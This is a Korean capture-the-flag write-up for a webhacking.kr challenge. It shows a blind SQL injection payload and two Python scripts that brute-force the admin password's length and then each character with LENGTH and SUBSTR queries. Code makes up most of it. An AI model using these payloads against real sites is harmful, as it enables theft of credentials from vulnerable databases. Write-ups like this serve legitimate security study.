Blind SQL Injection을 이용하라고 하여, 일단 어떻게 결과값이 출력되는지 살펴봤다.
로그인 성공
로그인 성공 시 “login success”를 출력한다.
로그인 실패
로그인 실패 시 “login fail”를 출력한다.
패스워드 실패
SQL Injection을 시도하였는데, wrong password라고 출력이 되었다. 이번엔 글자의 길이를 검사하는 SQL 쿼리를 삽입하면 어떻게 출력되는지 살펴봤다.
admin' and LENGTH(id)=5 or '1'='0'--
True and True or False로 결과는 True가 됨으로 “Wrong password”가 출력되었다.
이를 바탕으로 비밀번호의 길이를 알아내보도록 하겠다.
import requests
from bs4 import BeautifulSoup as bs
url = 'https://webhacking.kr/challenge/bonus-1/index.php'
for i in range(1, 100):
res = requests.get(url + f"?id=admin' and LENGTH(pw)={i} or '1'='0'-- &pw=test")
soup = bs(res.text, 'html.parser')
result = soup.select('center form table tr:last-child td')
if 'wrong password' in result[0].text:
print(f'Password Length: {i}')
break
Password Length: 36
간단하게 파이썬의 requests 모듈을 이용하여, 비밀번호의 길이를 구할 수 있었다.
길이도 알았으니, SQL 함수인 SUBSTR 함수를 이용하여 각 자리의 글자를 검사해 볼 것이다.
import requests, string
from bs4 import BeautifulSoup as bs
def pwLength(url:str):
for i in range(1, 100):
res = requests.get(url + f"?id=admin' and LENGTH(pw)={i} or '1'='0'-- &pw=test")
soup = bs(res.text, 'html.parser')
result = soup.select('center form table tr:last-child td')
if 'wrong password' in result[0].text:
print(f'Password Length: {i}')
return i
def pwCheck(url:str, length:int):
password = ''
for i in range(1, length+1):
print(i, password)
for j in string.ascii_letters + string.punctuation:
res = requests.get(url + f"?id=admin' and SUBSTR(pw, {i}, 1)='{j}' or '1'='0'-- &pw=test")
soup = bs(res.text, 'html.parser')
result = soup.select('center form table tr:last-child td')
if 'wrong password' in result[0].text:
password += j
break
print(f"Password: {password}")
return password
if __name__ == '__main__':
url = 'https://webhacking.kr/challenge/bonus-1/index.php'
length = pwLength(url)
pwCheck(url, length)